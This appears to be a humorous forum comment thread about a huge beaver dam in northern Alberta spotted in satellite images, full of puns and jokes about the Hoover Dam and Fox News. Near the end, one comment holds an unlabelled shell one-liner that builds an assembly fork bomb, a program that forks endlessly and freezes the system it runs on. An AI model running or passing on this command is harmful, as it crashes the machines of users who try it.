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Beaver Dam Visible From Space
ygslash writes "The
Hoover Dam
no longer holds the title of the world's widest dam.
Satellite photos of northern Alberta, Canada, show that several families
of beavers have apparently
joined forces
to build a dam 850 meters
wide, more than twice as wide as the Hoover Dam."
....And you Canadians always give us Yanks crap about thinking bigger is better....sheesh.
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DAMN!
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Actually, just one beaver family built the dam. They then sold timeshares to all the other beaver families now living there.
I've abandoned my search for truth; now I'm just looking for some useful delusions.
If it ever cuts loose there will be an epic flood. Did the Beaver Inspectors ever get a look at it? After all Size isn't everything. How many logs went into that thing anyway? Was it checked for strength, flexibility under loads, ability to hold back before gushing? This could be pretty important for anyone below it. Canada's National Honour could be at stake!
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Yeah, I always thought Hoover was impressive for it's height, not width. And WP says it was the highest dam in the US when built (and is now the 2nd highest). Dunno about worldwide, but really, I don't care exactly, it's a tall dam in any case. Let's see some stupid beaver build a damn over 700 ft tall!
The enemies of Democracy are
Now now, you've got to remember this is Fox News we're talking about.
Facts aren't quite as important in the farm leagues of journalism.
This is interesting, because this is a story about a huge beaver dyke that can be seen from space.
You can't handle the truth.
The original article was from Fox News - I'm just amazed they realised it was a damn, and not a giant vacuum cleaner given the quality of their fact checking.
Not FOX. BEAVER!! Didn't you RTFA?!? Jesus Fu.... Oh, wait...
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Damming evidence of beaver dykes visible with naked eyes from space. Many busy tails took a pounding for this broad accomplishment. Film at 11...
Nice Beaver!
The original article was from Fox News - I'm just amazed they realised it was a damn, and not a giant vacuum cleaner given the quality of their fact checking.
Coming up next, are Saddam's weapons of mass destruction hidden in the beaver sadDAM?!?
Experts say no, we say maybe.
Humans need to stop thinking they are so damn special.
There, fixed it for you.
Um, is this a God dam?
Yeah. Plus it's called a dental dam, not a beaver dam regardless of how you use it. Who proofs these articles anyhow?
Woah. These Beavers can build complex structures AND drive?
They drive ottermobiles.
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The Hoover Dam isn't even a very wide dam (1234 ft)
It's how I remember my password ("the number of feet across the Hoover Dam").
That's amazing. I've got the same combination on my luggage.
Why bother? They have the exact same stories on there.
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Nah, The Onion is more reputable.
The teachers will crack any minute, purple monkey dishwasher.
Leave this one to the Chinese.
I hear beaver dams in China go "sideways"...
All of the senior engineers in that firm are beavers.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Seems they named it by random keyboard pressing...
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